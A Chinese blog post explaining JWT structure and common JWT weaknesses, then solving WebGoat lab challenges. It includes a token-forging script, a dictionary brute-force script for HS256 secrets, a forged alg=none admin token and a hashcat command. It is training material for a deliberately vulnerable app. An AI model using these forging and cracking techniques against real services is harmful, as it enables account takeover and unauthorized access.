JWT+webgoat部分解题

JWT

JWT作用:

授权:一旦用户登录,后续的请求都会带着JWT,从而允许用户访问该令牌允许的路由,服务和资源。它的开销很小并且可以在不同的域中使用。如:单点登录。

信息交换:在各方之间安全地传输信息。JWT可进行签名(如使用公钥/私钥对),因此可确保发件人。由于签名是使用标头和有效负载计算的,因此还可验证内容是否被篡改。

JWT结构

JWT(json web token),令牌以紧凑的形式由三部分组成,这些部分由点(.)分隔:

令牌组成:

  1. 标头(Header)
  2. 有效载荷(Payload)
  3. 签名(Signature)
  4. token格式:head.payload.singurater 如:xxxxx.yyyy.zzzz

Header:使用的签名算法(alg) + 令牌类型(type)。

如一般常用HS256(HMAC+SHA256-一个密钥)、RS256(RSA+SHA256-一对公私钥);使用Base64编码组成(特征以eyJh开头)。

Payload :有效负载,包含声明;声明是有关实体(通常是用户)和其他数据的声明,不放用户敏感的信息,如密码。同样使用Base64编码。

标准中注册的声明 (建议但不强制使用)

# iss: jwt签发者

# sub: jwt所面向的用户

# aud: 接收jwt的一方

# exp: jwt的过期时间,这个过期时间必须要大于签发时间

# nbf: 定义在什么时间之前,该jwt都是不可用的

# iat: jwt的签发时间

# jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击

signature:对base64(Header).base64(Payload).secret整体使用Header中指定的签名算法(HS256)进行签名。secret就是我们的密钥。签名的作用是保证JWT没有被篡改

JWT认证原理:

安全问题:Base64是一种编码,是可逆的,所以只适合传递一些非敏感信息;JWT中不应该在负载中加入敏感的数据。如密码不能放在JWT中;JWT常用于设计用户认证、授权系统、web的单点登录。

JWT绕过

生成jwt token的脚本

#仅为HS256加密算法
import hmac
import base64
from hashlib import sha256
from urllib import parse as urlp

def b64url(str1):
    if type(str1) == str:
        return str(base64.b64encode(str1.encode('utf-8')), encoding="utf-8").strip('=').replace('+','-').replace('/','_')
    elif type(str1) == bytes:
        return str(base64.b64encode(str1), encoding="utf-8").strip('=').replace('+','-').replace('/','_')
    else:
        raise TypeError("The type of given argument must be string or bytes")

# Enter Your Infomation Here ...
header = b64url('{"alg":"HS256","typ":"JWT"}')
payload = b64url('{"sub":"1234567890","name":"John Doe","iat":1516239022}')
secret = 'happynewyear'.encode('utf-8')
# ###

sig = b64url(hmac.new(
    secret, (header+'.'+payload).encode('utf-8'), digestmod=sha256
).digest())

jwt = header+'.'+payload+'.'+sig
print(jwt)

1.更改Header的签名方式

在一些JWT库使用了none的情况下,就会出现可以不签名的漏洞。我们可以将HS256改成none,从而无需secret就能通过校验。

2.由历史JWT暴力猜解出secret/key。

根据之前的JWT,我们可以尝试暴力破解出其使用的密钥,这样就能够进行下一步伪造,成功通过校验。下面是copy大佬的一个脚本,可以根据字典(secret.txt)进行爆破。

爆破secrest的脚本

import jwt
import termcolor
 
jwt_str = R"eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY0MDg0MDg1NywiZXhwIjoxNjQwODQwOTE3LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.7HdANKeLioK-GsBUY9af80gODrlkFURDDE6u0LbmWZw"
with open("secret.txt") as f:
    for line in f:
        key_ = line.strip()
        try:
            jwt.decode(jwt_str, verify=True, algorithms="HS256", key=key_)
            print('\r', '找到秘钥--->', termcolor.colored(key_, "green"), "<---")
            break
        except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuerError, jwt.exceptions.ImmatureSignatureError):
            print('\r', '找到秘钥--->', termcolor.colored(key_, "green"), "<---")
            break
        except jwt.exceptions.InvalidSignatureError:
            print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
            continue
    else:
        print('\r', '\b抱歉!没找到秘钥')

3.exp标头

exp声明了JWT的过期时间,如果没有exp的话,就有可能会有历史JWT令牌被重复利用的风险

4.利用kid标头

kid可能会在头部中,它是一个密钥标识符。kid是RFC标准中用来表示密钥存储位置的地方,服务端可以根据这个提示来寻找解密密钥。其中也会导致一些漏洞。

SQL注入

密钥存储在数据库中,使用kid字段查询相关内容,就容易出现sql注入的相关漏洞。当查询的参数可控时,就有可能传入指定的key,这样就造成了key可控,可以随意修改jwt令牌信息。

目录遍历

kid的值表示的是密钥存储的文件,通过构造payload,就可能会造成目录遍历漏洞。

另外还有好多类型,这里就不一一细说了,参考JWT安全漏洞以及常见攻击方式_jwt 漏洞_烟雨醉沉浮的博客-CSDN博客

下面是JWT相关的一些CVE漏洞

(CVE-2015-2951) alg=none签名绕过漏洞

(CVE-2016-10555) RS/HS256公钥不匹配漏洞

(CVE-2018-0114)密钥注入漏洞

(CVE-2019-20933/CVE-2020-28637)空白密码漏洞

(CVE-2020-28042)空签名漏洞

web345

WebGoat靶场-JWTtoken绕过

由于抓包的时候总能拦到很多无用的包:

于是我们设置一下拦截规则:

1.修改签名算法

先看他的要求:

可以看到他让我们拿到的token,并且还要通过修改token拿到admin的权限,最后重新投票。一开始只是guest权限,然后看到可以切换用户,我们切换到Tom账户,发现返回了access token

使用jwt解析(JSON Web Tokens - jwt.io):

可以看到使用的签名算法是hs256,同时admin的权限是false,那么我们如果将admin的权限改为true,那么就拥有了admin的权限,但是因为有签名,所以我们尝试把签名算法改为none,这样就可以绕过校验了

根据前面说过的原理,我们改之后的header和payload都转化为base64,没有签名所以第三部分就为空,这样新的token就生成了:

eyJhbGciOiAibm9uZSJ9.eyJpYXQiOjE2ODA4MzAwOTUsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.

我们点击vote now,然后可以看到数据包中带着tom的token,现在将它替换成我们改的新token(后面还有一个带token的数据包,也要记得替换):

提交之后可以发现投票成功了:

2.爆破token的secret

可以看到这个是要求我们爆破出secret并把用户名修改为webgoat,这种可以使用上面的脚本,也可以使用kali中的hashcat进行爆破。

使用hashcat:

hashcat -m 16500 jwt.txt -a 3 -w 2 dic.txt --force 

其中jwt.txt为token,dic.txt为字典,--force为

使用上面的脚本,可以得到结果:

注意我们应该安装的是PyJWT这个包而不是jwt,如果安装了jwt这个包的话,应该把这两个包都删掉再重新下载PyJWT,不然会报错。另外注意dic.txt应该换成自己的字典。

可以看到原来的信息是这样的:

那么我们知道了密钥之后就可以更改信息了,但是要注意,payload中的exp,也就是到期时间。这个是使用了时间戳,所以我们需要用时间戳(Unix timestamp)转换工具 - 在线工具来更改一下到期时间。

然后我们使用生成jwt的脚本或者在线的生成工具重新生成JWT的token:

提交后发现通关:

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值